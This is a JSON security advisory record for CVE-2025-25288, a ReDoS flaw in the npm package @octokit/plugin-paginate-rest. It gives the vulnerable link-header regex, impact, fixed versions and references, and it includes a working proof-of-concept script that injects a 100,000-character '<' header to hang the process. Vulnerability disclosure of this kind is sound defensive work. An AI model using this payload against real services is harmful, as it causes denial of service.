{"id":"CVE-2025-25288","aliases":["GHSA-h5c3-5r3r-rr8q"],"url":"https://o3.security/vulnerability/CVE-2025-25288","summary":"@octokit/plugin-paginate-rest has a Regular Expression in iterator that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking","details":"### Summary\nFor the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack.\n\n### Details\nThe issue occurs at [line 39](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts) of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:\n```js\nurl = ((normalizedResponse.headers.link || \"\").match(\n  /<([^>]+)>;\\s*rel=\"next\"/,\n) || [])[1];\n```\nThe regular expression `/<([^>]+)>;\\s*rel=\"next\"/` may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted `Link` headers.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d)\n1. run npm i @octokit/plugin-paginate-rest\n2. run 'node poc.js'\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { Octokit } from \"@octokit/core\";\nimport { paginateRest } from \"@octokit/plugin-paginate-rest\";\n\nconst MyOctokit = Octokit.plugin(paginateRest);\nconst octokit = new MyOctokit({\n  auth: \"your-github-token\",\n});\n\n// Intercept the request to inject a malicious 'link' header for ReDoS\noctokit.hook.wrap(\"request\", async (request, options) => {\n  const maliciousLinkHeader = \"\" + \"<\".repeat(100000) + \">\"; // attack string\n  return {\n    data: [],\n    headers: {\n      link: maliciousLinkHeader, // Inject malicious 'link' header\n    },\n  };\n});\n\n// Trigger the ReDoS attack by paginating through GitHub issues\n(async () => {\n  try {\n    for await (const normalizedResponse of octokit.paginate.iterator(\n      \"GET /repos/{owner}/{repo}/issues\", { owner: \"DayShift\", repo: \"ReDos\", per_page: 100 }\n    )) {\n      console.log({ normalizedResponse });\n    }\n  } catch (error) {\n    console.error(\"Error encountered:\", error);\n  }\n})();\n```\n![image](https://github.com/user-attachments/assets/619c030e-5473-4a26-9e2a-4b9a26c1563b)\n\n### Impact\n#### What kind of vulnerability is it?\nThis is a *Regular Expression Denial of Service (ReDoS) vulnerability*, which occurs due to excessive backtracking in the regex pattern:\n```js\n/<([^>]+)>;\\s*rel=\"next\"/\n```\nWhen processing a specially crafted `Link` header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.\n#### Who is impacted?\n* Users of `@octokit/plugin-paginate-rest` who call `octokit.paginate.iterator()` and process untrusted or manipulated `Link` headers.\n* Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.\n* GitHub API consumers who integrate this package into their projects for paginated data retrieval.","published":"2025-02-14T19:33:43.428Z","modified":"2026-08-12T03:51:37.993479728Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@octokit/plugin-paginate-rest","fixedVersion":"11.4.1"},{"ecosystem":"npm","name":"@octokit/plugin-paginate-rest","fixedVersion":"9.2.2"}],"fix":{"url":"https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab","label":"octokit/plugin-paginate-rest.js@bb6c4f9"},"references":[{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/25xxx/CVE-2025-25288.json"},{"type":"ADVISORY","url":"https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25288"},{"type":"FIX","url":"https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab"},{"type":"PACKAGE","url":"https://github.com/octokit/plugin-paginate-rest.js"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/releases/tag/v9.2.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.993479728Z"}}